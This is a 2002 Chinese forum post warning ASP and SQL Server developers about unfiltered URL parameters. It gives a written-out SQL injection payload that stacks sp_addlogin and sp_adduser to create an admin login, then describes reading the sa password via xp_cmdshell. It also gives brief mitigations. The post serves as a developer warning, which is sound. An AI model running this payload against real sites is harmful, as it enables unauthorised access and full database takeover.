幸福的傻瓜 发表于 2002-2-10 17:14:05

ASP程序+数据库安全一例

为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
  BUG描述:
  把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
  BUG讲解:
  这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
  BUG消除:
  程序增加参数过滤
  附:sp_addlogin和sp_adduser语法
sp_addlogin [@loginame =] 'login'
  [,][@passwd =] 'password']
  [,][@defdb =] 'database']
  [,][@deflanguage =] 'language']
  [,[@sid =] 'sid']
  [,][@encryptopt =] 'encryption_option']
sp_adduser [@loginame =] 'login'
  [,][@name_in_db =] 'user']
  [,][@grpname =] 'group']
  注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
页: [1]
查看完整版本: ASP程序+数据库安全一例